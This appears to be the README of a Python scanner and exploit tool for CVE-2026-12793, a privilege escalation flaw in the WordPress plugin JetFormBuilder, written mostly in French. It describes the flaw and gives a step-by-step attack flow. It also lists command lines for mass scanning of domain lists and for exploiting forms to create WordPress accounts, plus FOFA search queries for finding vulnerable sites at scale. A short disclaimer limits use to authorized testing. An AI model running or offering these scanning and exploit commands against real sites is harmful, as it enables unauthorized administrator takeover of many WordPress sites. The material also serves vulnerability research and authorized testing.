
Scanner PoC ed exploit in Python per CVE-2026-12793, un'escalation di privilegi non autenticata in JetFormBuilder <=3.6.2 che crea account amministratore di WordPress.
Scanner proof-of-concept et exploit pour CVE-2026-12793 dans le plugin WordPress JetFormBuilder — Dynamic Blocks Form Builder (Crocoblock).
| CVE | CVE-2026-12793 |
| Plugin | jetformbuilder |
| Affecté | ≤ 3.6.2 |
| Corrigé dans | 3.6.2.1+ |
| CVSS | 9.8 Critique |
| Auth | Non authentifié |
| CWE | CWE-269 — Gestion inappropriée des privilèges |
| Chercheur | daroo (Wordfence) |
Le plugin ne vérifie pas que _jet_engine_booking_form_id fait référence à un custom post type jet-form-builder publié avant de charger le contenu du bloc de l'article référencé comme schéma de formulaire et d'exécuter les actions post-soumission.
Un attaquant non authentifié peut soumettre une requête AJAX forgée pour déclencher l'action Register User (wp_insert_user) et créer un nouveau compte WordPress. Si le formulaire cible est mal configuré avec un rôle élevé (par exemple administrator), cela conduit à une prise de contrôle complète du site.
1. Detect JetFormBuilder + version ≤ 3.6.2 (readme.txt)
2. Discover form ID from public pages (data-form-id, /register/, etc.)
3. POST to referer page with ?jet_form_builder_submit=submit&method=ajax
4. Register User action runs → new WP user created
Block_Helper::is_valid_form_post() — seul le CPT jet-form-builder publié est acceptéForm_Handler::set_form_id() rejette les IDs de formulaire invalideswp_insert_user / wp_update_user bloqués comme callbacks)requestspip install requests urllib3
python poc.py -u https://target.example --mode check
python poc.py --list domains.txt --mode check --threads 30 --quiet
Formats d'entrée : un domaine/URL par ligne, CSV FOFA (host,domain), ou candidates.jsonl d'une exécution précédente.
python poc.py -u https://target.example --mode exploit \
--form-id 1858 \
--page-url /register/ \
--fields login=cadastro_nome,email=cadastro_mail,password=cadastro_senha \
--username myuser \
--email [email protected] \
--password 'SecurePass123!' \
--verify
python poc.py --list candidates.jsonl --mode exploit --threads 10 --verify
| Fichier | Contenu |
|---|---|
hits.txt |
{
"target": "https://target.example",
"version": "3.3.3",
"form_id": 1858,
"page_url": "https://target.example/register/",
"fields": {
"login": "user_login",
"email": "user_email",
"password": "user_pass"
}
}
Les noms de champs auto-détectés sont heuristiques. Vérifiez toujours et remplacez-les avec
--fieldsavant l'exploit.
body="/wp-content/plugins/jetformbuilder/"
body="jet-form-builder" && body="wp-content"
header="/wp-content/plugins/jetformbuilder/"
title="WordPress" && body="data-form-id"
Vérification de version :
/wp-content/plugins/jetformbuilder/readme.txt
Recherchez Stable tag: ≤ 3.6.2.
Cet outil est fourni à des fins de tests de sécurité autorisés et éducatives uniquement. L'accès non autorisé aux systèmes informatiques est illégal. Les auteurs déclinent toute responsabilité en cas de mauvaise utilisation.
MIT
| Flag | Description |
|---|
-u, --url | URL de la cible unique |
--list | Fichier de liste des cibles |
--mode | check (par défaut) ou exploit |
--form-id | ID de l'article de formulaire JetFormBuilder connu |
--page-url | Page intégrant le formulaire (referer), ex. /register/ |
--fields | Correspondance des champs : login=x,email=y,password=z |
--paths | Chemins supplémentaires à explorer pour les formulaires |
--username / --email / --password | Identifiants pour l'exploit (aléatoires si omis) |
--verify | Vérifier le compte via wp-login.php après soumission |
-j, --threads | Threads de travail (par défaut : 20) |
--timeout | Délai d'attente HTTP en secondes (par défaut : 20) |
--proxy | URL du proxy HTTP(S) |
--output | Journal JSONL complet (par défaut : cve_2026_12793_results.jsonl) |
--vuln-list | Liste des cibles vulnérables (par défaut : hits.txt) |
--candidates-list | JSONL des candidats (par défaut : candidates.jsonl) |
-q, --quiet | Afficher uniquement la progression |
| URLs des cibles vulnérables / exploitées |
candidates.jsonl | Cibles avec sonde Register User accessible (form_id, page_url, fields) |
cve_2026_12793_results.jsonl | Résultats JSON complets par cible |